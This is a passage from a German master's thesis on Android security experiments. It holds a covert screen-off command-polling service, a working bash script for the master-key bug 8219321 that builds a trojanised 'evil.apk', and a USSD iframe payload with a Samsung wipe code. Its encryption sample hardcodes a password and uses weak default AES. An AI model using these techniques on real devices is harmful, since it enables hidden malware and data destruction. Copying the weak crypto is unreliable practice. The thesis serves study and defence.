Durch die Kommunikation mit dem Browser besitzt die App keinen direkten Zugriff auf die Ergebnisse der Anfrage. Android bietet die Möglichkeit, eine Activity zu definieren, die aufgerufen wird, sobald eine Weiterleitung auf die registrierte URL stattfindet. Genutzt wird dies zum Beispiel, damit Videos, die auf „YouTube“ betrachtet werden, nicht im Browser abgespielt werden, sondern in einer dafür registrierten App. Damit eine Registrierung erfolgt, muss in der AndroidManifest.xml in den „intent-filter“ der Activity das „data“Attribut mit „android:scheme“ hinzugefügt werden. Die komplette Zeile ist in Quellcodeausschnitt 4.1 zu sehen.

Listing 4.1: data scheme

```
<data android:scheme="startonuri" />
```

Im Quellcodeausschnitt 4.2 ist der komplette Eintrag dargestellt, der in die AndroidManifest.xml eingetragen werden muss, damit die Activity „StartOnUri“ registriert wird.

Listing 4.2: Gesamte Activity

```
<activity android:name="com.example.demoservicetest.StartOnUri"
 android:label="@string/app_name" android:clearTaskOnLaunch="true">
 <intent-filter>
  <data android:scheme="startonuri" />
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT"></category>
  <category android:name="android.intent.category.BROWSABLE"></category>
 </intent-filter>
</activity>
```

Der Aufbau der URL ist scheme://host:port/path [Webl, vgl.]. Nun wird bei jedem Aufruf der URL startonuri://host/para1/para2 im Browser die Activity „StartOnUri“ gestartet.

Der Dienst

Damit die Abfragen an den Browser über die Sichtbarkeit einer Activity hinaus durchgeführt werden können, muss ein Dienst implementiert werden.

Listing 4.3: Klassendefinition

```
public class WebPullService extends Service {
```

Dieser Dienst stellt zyklisch Anfragen an einen Server. Im Quellcodeausschnitt 4.4 ist eine mögliche Implementierung dargestellt.

Listing 4.4: Start Activity

```
startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://IP/PATH/redi.php
    ?devID=1")).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
```

Die Dunkelheit

Da es für einen Benutzer recht auffällig sein kann, wenn das Endgerät im angeschalteten Zustand ständig flackert und das Arbeiten mit dem Gerät dadurch sehr unangenehm ist, sollten diese Aktivitäten in die Dunkelheit gelegt werden. Dunkelheit bedeutet hierbei, dass das Display schwarz ist. Um diesen Zustand zu prüfen gibt es die Klasse „PowerManager“ und die Funktion „isScreenOn“.

Listing 4.5: PowerManager

```
PowerManager powerManager = (PowerManager) getSystemService(
    POWER_SERVICE);
boolean isScreenOn = powerManager.isScreenOn();
```

Diese Überprüfung wird nun jedes Mal vom Dienst durchgeführt, bevor die Browseranfrage gestellt wird. Wenn „isScreenOn“ den Wert „false“ hat, bedeutet dies, dass das Display aus ist.
Wichtig ist hierbei, dass keine Displaysperre aktiv sein darf, da sonst die Activity nicht gestartet werden kann.

Der Webserver

Da nun auf der Seite des Client alle Grundlagen für eine Kommunikation gelegt sind, muss auf dem Server das passende Gegenstück entwickelt werden. Als Programmiersprache wird PHP verwendet. Zudem verwendet der Autor für die Datenhaltung eine MySQL-Datenbank.
Die Datenbank besitzt eine Tabelle mit den Spalten devID, command, type und cID. Die devID repräsentiert das jeweilige Endgerät, das sich am Server angemeldet hat, damit eine explizite Kommunikation mit diesem Durchgeführt werden kann. Die Spalte command beinhaltet das jeweilige Kommando oder die Antwort, die auf ein Kommando vom Client gesendet wurde. Mit type wird festgelegt, ob der jeweilige Eintrag vom Server oder vom Client durchgeführt wurde. Zudem kann hiermit auch festgelegt werden, ob eine Nachricht vom Server oder Client schon gelesen wurde. Die cID stellt bei der Client-Antwort eine Zuordnung zu dem jeweiligen Serverkommando her.
Aufseiten des Servers muss nun noch beachtet werden, dass die Kommunikation über die URL und somit die GET-Methode stattfindet. Der Autor hat hierfür die „urlencode“ Funktion genutzt. Aufseiten des Client muss dies ebenfalls geschehen, für das gesendete und empfangene.

Resümee

Die Umsetzung diese Versuchs zeigte, dass es Möglich ist, eine Anwendung im Hintergrund zu starten und ohne Berechtigungen eine Webanfrage zu stellen. Der komplette Quellcode befindet sich auf der beiliegenden CD oder unter `github.com/chrisUse/Master/tree/master/DemoServiceTest`.

4.2 Infizierte Anwendung

In diesem Versuch soll es um einen aufmerksameren Benutzer gehen, der die Anforderungen, die von der Software benötigt werden, genau studiert.
Jeff Forristal, der für die Bluebox Security arbeitet, hat am 01.08.2013 auf der Black Hat sein im Februar gemeldetes Sicherheitsproblem veröffentlicht. Er beschreibt, wie durch eine Manipulation in der apk Datei eine Fälschung der App vorgenommen werden kann, ohne dass die Signierung der App verletzt wird [For13, vgl. Seite 37].

Der Bug ist unter dem Code 8219321 bekannt. Ein Update hierfür wurde bereits von Google bereitgestellt. Da der Patch allerdings erst von den verschiedenen Anbieter (HTC,Samsung,...) implementiert werden muss, damit er beim Endanwender als Update zur Verfügung steht, kann dies noch etwas dauern [Webaj, vgl.] [BW10, vgl.].

Der Bug kann ausgenutzt werden, da die Verarbeitung der apk Datei durch eine Hashmap, also ein Schlüssel-Wert-Paar Datenstruktur, realisiert wird. Da keine Prüfung auf doppelte Dateien vorgenommen wird, kann an dieser Stelle eine zweite dex Datei eingeschleust werden [For13, vgl. Seite 37]. Die Reihenfolge der beiden dex Dateien in der apk Struktur ist entscheidend. Zur Signierung der App wird die zweite in der apk Datei befindlichen dex Datei mit der Funktion JarVerifier verwendet [For13, vgl. Seite 51].

Für die Installation findet allerdings die erste Datei Verwendung, da hierfür eine in „C“ geschriebene Funktion genutzt wird [For13, vgl. Seite 53ff].

Das Codebeispiel 4.6 wurde vom Autor zum Test von Bugs eingesetzt und basiert auf den Hinweisen, die von Jeff Forristal in seiner Veröffentlichung angedeutet wurden [For13, vgl. Seite 70].

Listing 4.6: Codebeispiel für den Bug 8219321

```
#!/bin/bash
# The infect app must have the same package name.
#
ASDK="/daten/android/Entwicklung/android-sdk-linux/"
#
mainFile=$1
infectFile=$2
cp $mainFile tmp.apk
#
# Show package names of the apks
echo "Package names: "
$ASDK/build-tools/17.0.0/aapt dump badging $mainFile | grep launchable-activity |
    sed -n -e 's/.* name=\(.*\) label=.*/\1/p'
$ASDK/build-tools/17.0.0/aapt dump badging $infectFile | grep launchable-activity |
    sed -n -e 's/.* name=\(.*\) label=.*/\1/p'
```

```
mkdir -p mainAPP; mkdir -p infectAPP
# Extract the apk zip files
cd mainAPP; unzip ../$mainFile; cd ..
cd infectAPP; unzip ../$infectFile; cd ..
# Copy the dex files in right order
cp mainAPP/classes.dex ./classes.dex
cp infectAPP/classes.dex ./classes.dey
# Remove the original dex file
zip -d tmp.apk classes.dex
# Add the infektet dex file
zip -g tmp.apk classes.dey
# Add the origin dex file
zip -g tmp.apk classes.dex
# Change name of the infectet dex file
sed s/classes.dey/classes.dex/ tmp.apk > evil.apk
# Clean up
rm -Rf mainAPP infectAPP classes.dey classes.dex tmp.apk
# Installs the apk file
/daten/android/Entwicklung/android-sdk-linux/platform-tools/adb install -r evil.
    apk
```

Beim Nachvollziehen des Bugs ist aufgefallen, das Jeff Forristal in seinem veröffentlicht Dokument von der Black Hat nicht ganz klar beschrieben hat, dass der Bug nur funktioniert, wenn die dex Datei, die zusätzlich eingeschleust wird, den selben Paketname haben muss wie der „ersetzte“ dex Datei.
Der Bug wurde auf einem HTC Desire HD mit Android Version 2.3.5 erfolgreich getestet. Das Endgerät hat die App Installiert und den infizierten Teil ausgeführt.
Der Vorteil beim Einsatz dieses Bugs ist, dass die erstellte apk Datei beim Installieren genauso aussieht als wäre sie nicht verändert wurden. Das heißt, dass alle Berechtigungen, die angefordert werden, sind die der ursprünglichen App. Beim starten der App wird der Code aus der infizierten Datei gestartet. Dies stellt ein hohes Sicherheitsrisiko dar. An dieser Stelle muss allerdings noch klar gesagt werden, dass trotz dieser Lücke der infizierte Code erst einmal nur die Rechte hat, die bei der Installation gewehrt wurden.

Der komplette Quellcode befindet sich auf der beiliegenden CD oder unter `github.com/chrisUse/Master/tree/master/bug8219321`.

4.3 Anwendung, die verschlüsselt arbeitet

Es soll eine Beispiel-App entwickelt werden, die ihre eigenen Daten verschlüsselt. Die Daten sollen in einer Datei auf der SD-Card gespeichert werden. Da dieser Speicher wie oben beschrieben herausnehmbar ist, besteht ein erhöhter Sicherheitsanspruch. Ziel dieses Praxistests ist es, die Bordmittel von Android für die Umsetzung zu verwenden.

Listing 4.7: MainActivity

```
public class MainActivity extends Activity {
 private String PASSWORD = "MasterarbeitAndroid123456";
 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
  TextView textView = (TextView) findViewById(R.id.textView2);
  if ((PASSWORD.length() % 8) == 0) {
   textView.setText("Base 8");
  } else {
   String toWrite = "";
   toWrite += "No Base 8: " + (PASSWORD.length() % 8) + " - "
     + (PASSWORD.length() / 8);
   if (PASSWORD.length() >= 8) {
    int cutAfter = (PASSWORD.length() / 8) * 8;
    toWrite += " > " + cutAfter;
    PASSWORD = PASSWORD.substring(0, cutAfter);
    toWrite += "| cut: " + PASSWORD;
   }
   textView.setText(toWrite);
  }
  if (PASSWORD.length() >= 8) {
   Button b1 = (Button) findViewById(R.id.button1);
```

```
Button b2 = (Button) findViewById(R.id.button2);
b1.setOnClickListener(new View.OnClickListener() {
 @Override
 public void onClick(View arg0) {
  EditText edit1 = (EditText) findViewById(R.id.editText1);
  TextView textView = (TextView) findViewById(R.id.textView1);
  String clearContent = edit1.getText().toString();
  try {
   encryptComFile(PASSWORD, clearContent);
  } catch (IOException e) {
   textView.setText("Ex IO: " + e);
  } catch (NoSuchAlgorithmException r) {
   textView.setText("Ex NoSuchAlgorithmException: " + r);
  } catch (NoSuchPaddingException t) {
   textView.setText("Ex NoSuchPaddingException: " + t);
  } catch (InvalidKeyException z) {
   textView.setText("Ex InvalidKeyException: " + z);
  }
 }
});
b2.setOnClickListener(new View.OnClickListener() {
 @Override
 public void onClick(View arg0) {
  TextView textView = (TextView) findViewById(R.id.textView1);
  EditText edit1 = (EditText) findViewById(R.id.editText1);
  String edit2Text = "";
  try {
   edit2Text = decrytpComFile(PASSWORD);
  } catch (IOException e) {
   textView.setText("Ex IO: " + e);
  } catch (NoSuchAlgorithmException r) {
   textView.setText("Ex NoSuchAlgorithmException: " + r);
  } catch (NoSuchPaddingException t) {
   textView.setText("Ex NoSuchPaddingException: " + t);
  } catch (InvalidKeyException z) {
```

```
        textView.setText("Ex InvalidKeyException: " + z);
       }
       edit1.setText(edit2Text);
     }
    });
  } else {
    TextView textView2 = (TextView) findViewById(R.id.textView1);
    textView2.setText("Passwort kleiner als 8 Zeichen.");
  }
 }
```

Das Quellcodebeispiel 4.8 zeigt die Verschlüsselungsfunktion um die Datei zu speichern. Diese Funktion basiert auf `http://stackoverflow.com/questions/10782187/how-to-encrypt-file-from-sd-card-using-aes-in-android`

Listing 4.8: Verschlüsselungsfunktion

```
 private void encryptComFile(String pw, String content) throws IOException,
    NoSuchAlgorithmException, NoSuchPaddingException,
    InvalidKeyException {
  FileOutputStream fos = new FileOutputStream(Environment
     .getExternalStorageDirectory().getPath() + "/encrypted");
  // Length is 16 byte
  SecretKeySpec sks = new SecretKeySpec(pw.getBytes(), "AES");
  // Create cipher
  Cipher cipher = Cipher.getInstance("AES");
  cipher.init(Cipher.ENCRYPT_MODE, sks);
  // Wrap the output stream
  CipherOutputStream cos = new CipherOutputStream(fos, cipher);
  // Write bytes
  byte b[] = content.getBytes();
  for (int i = 0; i < content.length(); i++) {
   cos.write(b[i]);
  }
  cos.flush();
  cos.close();
 }
```

Das Quellcodebeispiel 4.9 beschreibt die Entschlüsselungsfunktion um die Daten in der Datei zu entschlüsseln.

Listing 4.9: Entschlüsselungsfunktion

```
private String decrytpComFile(String pw) throws IOException,
  NoSuchAlgorithmException, NoSuchPaddingException,
  InvalidKeyException {
 String outDecryptCont = "";
 FileInputStream fis = new FileInputStream(Environment
   .getExternalStorageDirectory().getPath() + "/encrypted");
 SecretKeySpec sks = new SecretKeySpec(pw.getBytes(), "AES");
 Cipher cipher = Cipher.getInstance("AES");
 cipher.init(Cipher.DECRYPT_MODE, sks);
 CipherInputStream cis = new CipherInputStream(fis, cipher);
 int b;
 byte[] d = new byte[1];
 while ((b = cis.read(d)) != -1) {
  outDecryptCont += new String(d, "UTF-8");
 }
 cis.close();
 return outDecryptCont;
}
```

Dieses Praxisbeispiel wurde auf einem Android mit der Version 2.3.5 erfolgreich getestet. Der komplette Quellcode befindet sich auf der beiliegenden CD oder unter `github.com/chrisUse/Master/tree/master/masterArbeitCrypt`.

4.4 Zugriff über USSD-Befehle

Unstructured Supplementary Service Data (USSD) ist ein von GSM verwendetes Protokoll, um mit den Serviceanbieter zu kommunizieren. Die Verwendung eines

USSD-Codes läuft genauso ab wie ein Telefonanruf. Es wird nur anstatt einer Telefonnummer der USSD-Code eingegeben. Ein Beispiel hierfür ist der Abruf des Kontostandes mit dem Code *100#[5]. Anschließend erscheint im Display des Endgerätes der aktuelle Kontostand [Webam, vgl.].
Wenn ein USSD-Code in eine Internetseite mit vorangestelltem “tel:“ eingebettet wird, dann kann dies bei verschiedenen Geräten dazu führen, das dieser sofort ausgeführt wird. Das Quellcodebeispiel 4.10, das vom Autor zum Testen entwickelt wurde, zeigt eine solche Einbettung [Weban, vgl.].

Listing 4.10: Html Beispiel mit Eingebettetem USSD-Code

```
<html>
 <head>
  <title>USSD-Test</title>
 </head>
 <body>
  <!-- %23 -> # -->
  <iframe src="tel:*%2306%23" name="IMEI" style="height: 15em; width: 100%;
      border: none;"></iframe>
 </body>
</html>
```

Wird diese Internetseite von einem Android Endgerät aufgerufen, führt dies dazu, dass der Browser die Telefon-App mit den Zeichenkette „#06#“ aufruft und diese die Nummer anwählt. Dies Funktioniert, da die Telefon-App genau wie im Praxisbeispiel beschrieben für den Befehl „tel“ registriert ist.
Bei verschiedenen Samsung-Geräten kann durch einen solchen Code das Handy gelöscht werden. Dieser Code soll das verursachen: *2767*3855# [Webah, vgl.].
Für das Problem mit den USSD-Codes gibt es verschiedene Lösungsmöglichkeiten. Zum einen besteht die Möglichkeit, dass ein Umstieg auf die Android-Version 4.1 stattfindet, da in dieser Version das sofortige Ausführen dieser Codes verhindert wird. Zum anderen gibt es Apps wie NoTelURL oder TelStop die verhindern, dass die Codes sofort ausgeführt werden [Rau13, vgl. „So schützen Sie sich vor gefährlichen Codes“]. Bei der getesteten TelStop-App wird dies erreicht, indem die Telefon-App

[5]Ist providerabhängig, funktioniert bei Telekom und Vodafone mit Prepaidkarten.

nicht die einzige ist, die Aufrufe aus einer Internetseite entgegen nehmen kann, sondern die TelStop-App auch dafür registriert ist. Somit wird beim Besuch einer Internetseite mit eingebettetem USSD-Code bei der Ausführung des Codes eine Auswahl von Apps angezeigt und der Benutzer entscheidet, mit welcher App er den Code ausführen möchte. Hierdurch wird erreicht, dass der Code nicht einfach ohne Wissen des Benutzers an die Telefon-App weitergereicht wird, sondern der Benutzer die Entscheidungsgewalt bekommt.

Getestet wurde dieser Versuch mit einem Android 2.3.5 ohne installierte TelStop-App und mit installierter TelStop-App. Ohne die App wurde der USSD-Code direkt von der Telefon-App ausgeführt. Durch das installieren der TelStop-App erschien ein Auswahlfenster in dem die Telefon-App und die TelStop-App aufgeführt war. Der komplette Quellcode befindet sich auf der beiliegenden CD oder unter `github.com/chrisUse/Master/tree/master/USSD`.

5 Resümee

In den Praxisversuchen hat sich gezeigt, dass die von Android anfangs versprochenen Basisfunktionen gut umsetzbar sind. Das „developer reference manual“, welches von Google den Entwicklern zur Verfügung gestellt wird, ist gut strukturiert und Erleichtert die Einarbeitung sehr. Der Weg, den iOS mit den strengen Restriktionen für App-Entwickler geht, ist in gewisser Weise auch mittlerweile bei Google anzutreffen. Dies ist nach persönlicher Einschätzung ein guter Weg. Jedoch sollte bei Android das Installieren von nicht autorisierten Quellen dadurch nicht entfallen.
Da im Praxistest die Verschlüsselung der App-Daten gut umsetzbar war, wäre es für Entwickler von sicherheitskritischen Apps empfehlenswert, solche Mechanismen zu verwenden. Inwieweit die Verschlüsselungsalgorithmen fehlerfrei von Google implementiert wurden, könnte in einer weiterführenden Arbeit geprüft werden. Eine komplette Systemverschlüsselung sowie die Verschlüsselung der Kommunikationen des Endgerätes ist auch für Privatpersonen empfehlenswert. In den Praxisversuchen sollte auch deutlich erkennbar sein, dass selbst ein aufmerksamer Benutzer nicht vor der Installation einer schädlichen App geschützt ist.
In einer weiterführenden Arbeit könnte das Thema ASLR näher untersucht werden, da dieser Mechanismus in allen drei Betriebssystemen unterstützt wird.
Ein großes Problem bei Android ist nach persönlicher Meinung, dass die Hardwarehersteller (Samsung, HTC, ...) meist zu lange Updatezeiten benötigen, um einen von Google zur Verfügung gestellten Bug fix, wie der im Kapitel 4.2 beschriebene, einzupflegen und dem Endbenutzer bereitzustellen.
Bei allen drei hier analysierten Systemen gibt es unter anderem aufgrund der Sandbox das Problem, dass die Apps nicht wirklich vom Benutzer kontrolliert werden können. Aus Sicht des Autors sollten Möglichkeiten zur Datenverkehrsanalyse bestimmter Apps eingeführt werden, damit der Benutzer die Möglichkeit hat, Apps, die kein erwünschtes Verhalten aufweisen, zu deinstallieren. Eine solche App müsste

dann zum Beispiel bei Android als System-App laufen, daher wäre Google vermutlich der geeignetste Entwickler dafür. Alternativ wären Apps sinnvoll, die dies übernehmen könnten. Bei gerooteten Android-Systemen gibt es solche Apps (zum Beispiel: DroidWall, Titanium Backup).
Durch die Bevorzugung der Benutzerfreundlichkeit und einfacheres Arbeiten mit dem Endgerät sind Sicherheitslücken entstanden. Bestes Beispiel hierfür ist sicherlich das USSD-Code-Problem, welches im Praxisversuch 4.4 dargestellt ist.
Die hier untersuchten mobilen Betriebssysteme bieten alle ein gewisses Maß an Sicherheit für den Endbenutzer. Meist muss der Endbenutzer wissen, welche Möglichkeiten existieren um die Sicherheit des Systems zu verbessern, da die Funktionen nicht Standardmäßig eingeschaltet sind.
Die Systeme leisten einen Anteil, um Sicherheit zu gewährleisten. Ohne einen etwas sicherheitsbewussten Endanwender sind dies Maßnahmen alleine nicht ausreichend.

Literatur

[Bri13] **Martijn Brinkers**. *DJIGZO for Android*. 2013. URL: http://www.djigzo.com/android.html (besucht am 30. 08. 2013).

[BW10] **Achim Barczok und Christian Wölbert**. *Der Update-Frust bleibt*. 2010. URL: http://www.heise.de/ct/artikel/Der-Update-Frust-bleibt-1834133.html (besucht am 08. 09. 2013).

[Cha13] **Stanton Champion**. *Buffer Overflows Attacks Get Much, Much Harder*. 2013. URL: http://blog.utest.com/buffer-overflows-attacks-get-much-much-harder/2012/03/ (besucht am 22. 07. 2013).

[Col09] **Laura Colantoni**. *Virtualization for Security Including Sandboxing, Disaster Recovery, High Availability, Forensic Analysis, and Honeypotting*. 30 Corporate Drive, Burlington, MA 01803: Syngress Publishing, Inc., 2009.

[DCT10] **Himanshu Dwivedi, Chris Clark und David Thiel**. *Mobile Application Security*. Mcgraw-Hill Professional, 2010.

[Fis] **Dennis Fisher**. *Android 4.1 Jelly Bean Includes Full ASLR Implementation*. URL: http://threatpost.com/android-41-jelly-bean-includes-full-aslr-implementation-071612/76811 (besucht am 22. 07. 2013).

[For13] **Jeff Forristal**. *Android: One Root to Own Them All*. 2013. URL: https://media.blackhat.com/us-13/US-13-Forristal-Android-One-Root-to-Own-Them-All-Slides.pdf (besucht am 01. 08. 2013).

[Gun12] **Sheran A. Gunasekera**. *Android Apps Security*. Apress, 2012.

[Hoo11] **Andrew Hoog**. *Android Forensics Investigation, Analysis, and Mobile Security for Google Android*. 225 Wyman Street Waltham MA 02451 USA: Elsevier, Inc., 2011.

[Inf13a] **Bundesamt für Sicherheit in der Informationstechnik**. *Mobile Endgeräte und mobile Applikationen: Sicherheitsgefährdungen und Schutzmaßnahmen*. 2013. URL: `https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Broschueren/MobilEndgeraete/mobile_endgeraete_pdf.pdf?__blob=publicationFile` (besucht am 30. 07. 2013).

[Inf13b] **Bundesamt für Sicherheit in der Informationstechnik**. *Passwörter*. 2013. URL: `https://www.bsi-fuer-buerger.de/BSIFB/DE/MeinPC/Passwoerter/passwoerter_node.html` (besucht am 30. 07. 2013).

[Inf13c] **Bundesamt für Sicherheit in der Informationstechnik**. *Verschlüsselung*. 2013. URL: `https://www.bsi-fuer-buerger.de/BSIFB/DE/MobileSicherheit/Verschluesselung/verschluesselung_node.html` (besucht am 30. 08. 2013).

[JT12] **Will Verduzco Jason Tyler**. *XDA Developers' Android Hacker's Toolkit: The Complete Guide to Rooting, ROMs and Theming*. 2. Aufl. Wiley, 2012.

[LRW10] **Anthony Lineberry, David Luke Richardson und Tim Wyatt**. *THESE AREN'T THE PERMISSIONS YOU'RE LOOKING FOR*. 2010. URL: `http://www.defcon.org/images/defcon-18/dc-18-presentations/Lineberry/DEFCON-18-Lineberry-Not-The-Permissions-You-Are-Looking-For.pdf` (besucht am 06. 09. 2013).

[Mauro] **Jürgen Mauerer**. *Das .NET Sicherheitsmodell*. Veröffentlicht: 10. Mai 2004 | Aktualisiert: 29. Nov 2004. URL: `http://msdn.microsoft.com/de-de/library/cc405539.aspx` (besucht am 28. 04. 2013).

[Naw13] **Marcin Nawrocki**. *Sicherheitsmechanismen in Android Teil 2*. 2013. URL: http://www.umingo.de/doku.php?id=paper:android_sicherheit:section01 (besucht am 29. 08. 2013).

[Nic] **Carlo U. Nicola**. *Einblick in die Dalvik Virtual Machine*. URL: http://www.fhnw.ch/technik/imvs/publikationen/artikel-2009/einblick-in-die-dalvik-virtual-machine (besucht am 26. 06. 2013).

[Poi13] **Benjamin Poiesz**. *Find your lost phone with Android Device Manager*. 2013. URL: http://officialandroid.blogspot.de/2013/08/find-your-lost-phone-with-android.html (besucht am 25. 09. 2013).

[Pro08] **The Android Open Source Project**. *Dalvik Optimization and Verification With dexopt*. 2008. URL: https://github.com/android/platform_dalvik/blob/c1b54205471ea7824c87e53e0d9e6d4c30518007/docs/dexopt.html (besucht am 26. 06. 2013).

[Rau13] **Thomas Rau**. *Geheime Android-Befehle*. 2013. URL: http://www.pcwelt.de/ratgeber/Achtung_Risiko_-Geheime_Android-Befehle-6950155.html (besucht am 12. 08. 2013).

[Rog+03] **M. Rogge u. a.** *Hacking intern Angriffe, Strategien, Abwehr*. 1. Aufl. Merowingerstr. 30: DATA BECKER GmbH & Co. KG, 2003.

[Sch12] **Raphael Schön**. *Android & das verheerende Update-Problem*. 2012. URL: http://www.gruenderszene.de/allgemein/android-update-problem-nexus (besucht am 20. 08. 2013).

[Weba] URL: http://images.apple.com/iphone/business/docs/iOS_Security_Oct12.pdf (besucht am 16. 06. 2013).

[Webb] *Address Space Layout Randomization*. 2013. URL: http://de.wikipedia.org/wiki/Address_Space_Layout_Randomization (besucht am 05. 05. 2013).

[Webc] *Android Security Overview*. URL: https://source.android.com/devices/tech/security/index.html (besucht am 12. 08. 2013).

[Webd] *Anwendungsspezifische integrierte Schaltung*. URL: http://de.wikipedia.org/wiki/Anwendungsspezifische_integrierte_Schaltung (besucht am 29. 08. 2013).

[Webe] *APG*. 2013. URL: https://play.google.com/store/apps/details?id=org.thialfihar.android.apg&hl=de (besucht am 20. 08. 2013).

[Webf] *BitLocker-Laufwerkverschlüsselung (Übersicht)*. 2013. URL: http://windows.microsoft.com/de-de/windows-vista/bitlocker-drive-encryption-overview (besucht am 13. 08. 2013).

[Webg] *Buffer overflow protection*. URL: http://en.wikipedia.org/wiki/Buffer_overflow_protection#GCC_Stack-Smashing_Protector_.28ProPolice.29 (besucht am 05. 05. 2013).

[Webh] *Cipher Block Chaining Mode*. URL: http://de.wikipedia.org/wiki/Cipher_Block_Chaining_Mode (besucht am 28. 07. 2013).

[Webi] *Common Language Runtime (CLR)*. 2013. URL: http://msdn.microsoft.com/en-us/library/8bs2ecf4.aspx (besucht am 02. 05. 2013).

[Webj] *Content Providers*. URL: http://developer.android.com/guide/topics/providers/content-providers.html (besucht am 04. 05. 2013).

[Webk] *Dalvik VM*. URL: http://de.wikipedia.org/wiki/Dalvik_Virtual_Machine (besucht am 21. 06. 2013).

[Webl] *<data>*. 2013. URL: http://developer.android.com/guide/topics/manifest/data-element.html (besucht am 06. 09. 2013).

[Webm] *Die Rückkehr der Pufferüberläufe*. 2013. URL: http://www.heise.de/newsticker/meldung/Die-Rueckkehr-der-Pufferueberlaeufe-194416.html (besucht am 22. 07. 2013).

[Webn] *Disk encryption theory*. URL: http://en.wikipedia.org/wiki/Disk_encryption_theory (besucht am 28. 07. 2013).

[Webo] *Dot Lock*. 2013. URL: http://www.windows8appstore.com/windowsphone/dot-lock/34206.html (besucht am 08. 08. 2013).

[Webp] *Encryption Technical Information*. URL: http://source.android.com/devices/tech/encryption/index.html (besucht am 12. 08. 2013).

[Webq] *Encryption Technical Information*. URL: http://source.android.com/tech/encryption/index.html (besucht am 01. 07. 2013).

[Webr] *Exchange ActiveSync*. URL: http://en.wikipedia.org/wiki/Exchange_ActiveSync (besucht am 07. 08. 2013).

[Webs] *Genies unter sich: Berühmte Zitate über Computer und Co.* URL: http://news.softonic.de/genies-unter-sich-beruhmte-zitate-uber-computer-und-co (besucht am 16. 06. 2013).

[Webt] *Go-Trust Android Encryption Suite*. 2013. URL: http://www.go-trust.com/applications/ (besucht am 04. 08. 2013).

[Webu] *Introducing Android 4.0*. URL: http://www.android.com/about/ice-cream-sandwich/ (besucht am 29. 07. 2013).

[Webv] *iOS: Understanding passcodes*. 2013. URL: http://support.apple.com/kb/ht4113 (besucht am 20. 07. 2013).

[Webw] *iPhone in Business*. 2013. URL: http://www.apple.com/iphone/business/it-center/security.html#browse-security-resources (besucht am 04. 08. 2013).

[Webx] *KingCall-Android*. 2013. URL: http://www.go-trust.com/applications/kingcall/ (besucht am 04. 08. 2013).

[Weby] *Manifest permission*. URL: https://developer.android.com/reference/android/Manifest.permission.html (besucht am 01. 07. 2013).

[Webz] *Microsoft .NET Framework-Sicherheit - Übersicht*. Veröffentlicht: 23. Jul 2002 | Aktualisiert: 22. Jun 2004. URL: http://msdn.microsoft.com/de-de/library/cc431248.aspx (besucht am 28. 04. 2013).

[Webaa] *.NET*. URL: http://de.wikipedia.org/wiki/.NET#Assemblies (besucht am 07. 08. 2013).

[Webab] *Notes on the implementation of encryption in Android 3.0*. URL: http://source.android.com/devices/tech/encryption/android_crypto_implementation.html (besucht am 28. 07. 2013).

[Webac] *NX bit*. URL: http://en.wikipedia.org/wiki/NX_bit (besucht am 05. 05. 2013).

[Webad] *Permissions*. URL: http://developer.android.com/guide/topics/security/permissions.html (besucht am 12. 08. 2013).

[Webae] *Remote-Löschung eines Mobilgeräts*. URL: http://support.google.com/a/bin/answer.py?hl=de&answer=173390 (besucht am 29. 07. 2013).

[Webaf] *Samsung For Enterprise*. 2013. URL: http://www.samsung.com/us/business/samsung-for-enterprise/downloads/SAFEBrochure.pdf (besucht am 04. 08. 2013).

[Webag] *Security Tips*. URL: http://developer.android.com/training/articles/security-tips.html (besucht am 03. 05. 2013).

[Webah] *Sicherheitsleck: Samsung-Smartphones aus der Ferne löschbar*. URL: http://www.heise.de/security/meldung/Sicherheitsleck-Samsung-Smartphones-aus-der-Ferne-loeschbar-1716849.html (besucht am 27. 06. 2013).

[Webai] *Smartphone-Besitzer warten verzweifelt auf Updates*. 2013. URL: http://www.focus.de/digital/handy/viele-geraete-nutzen-altes-android-smartphone-besitzer-warten-verzweifelt-auf-updates_aid_934719.html (besucht am 20. 08. 2013).

[Webaj] *The Android Bug 8219321*. 2013. URL: http://googlesystem.blogspot.de/2013/07/the-8219321-android-bug.html (besucht am 01. 08. 2013).

[Webak] *The Next Big Thing For Business Is Here*. 2013. URL: http://www.samsung.com/us/business/samsung-for-enterprise/index.html?cid=omc-mb-cph-1112-10000022 (besucht am 04. 08. 2013).

[Webal] *Trusted Platform Module*. URL: http://de.wikipedia.org/wiki/Trusted_Platform_Module (besucht am 07. 08. 2013).

[Webam] *Unstructured Supplementary Service Data*. URL: http://en.wikipedia.org/wiki/Unstructured_Supplementary_Service_Data (besucht am 12. 08. 2013).

[Weban] *USSD-Check*. URL: http://www.heise.de/security/dienste/USSD-Check-1717811.html (besucht am 27. 06. 2013).

[Webao] *What is sandboxing?* URL: http://sandboxing.org/?page_id=103 (besucht am 10. 05. 2013).

[Webap] *Wiederfinden eines verlorenen Handys*. 2013. URL: http://www.windowsphone.com/de-de/how-to/wp7/basics/find-a-lost-phone (besucht am 01. 08. 2013).

[Webaq] *Windows Phone 8 Security Overview*. 2013. URL: http://go.microsoft.com/fwlink/?LinkId=266838 (besucht am 07. 08. 2013).

[Webar] *WINDOWS PHONE DEIN WEG ZUR EIGENEN APP*. 2013. URL: http://www.microsoft.com/germany/msdn/academic/windows-phone/baue-deine-app.aspx (besucht am 02. 05. 2013).

[Webas] *Windows Phone for business*. 2013. URL: http://www.windowsphone.com/en-us/business/security (besucht am 01. 08. 2013).

[Webat] *Windows® Phone 7 security model*. 2013. URL: http://download.microsoft.com/download/9/3/5/93565816-ad4e-4448-b49b-457d07abb991/windows%20phone%207%20security%20model.pdf (besucht am 08. 08. 2013).

[Wilro] **Michael Willers**. *Assemblies - Pakete einer .NET Anwendung (Teil 1)*. Veröffentlicht: 16. Dez 2001 | Aktualisiert: 14. Jun 2004. URL: http://msdn.microsoft.com/de-de/library/bb979301.aspx (besucht am 02. 05. 2013).

Ehrenwörtliche Erklärung

Hiermit erkläre ich an Eides Statt, dass ich die vorliegende Masterarbeit selbständig und ohne Benutzung anderer, als der angegebenen Hilfsmittel, angefertigt habe. Die aus fremden Quellen direkt oder indirekt übernommenen Gedanken sind als solche kenntlich gemacht.
Diese Masterarbeit hat in gleicher oder ähnlicher Form keiner anderen Prüfungsbehörde vorgelegen.

Schmalkalden, den 10.10.2013 _____

Christian Linde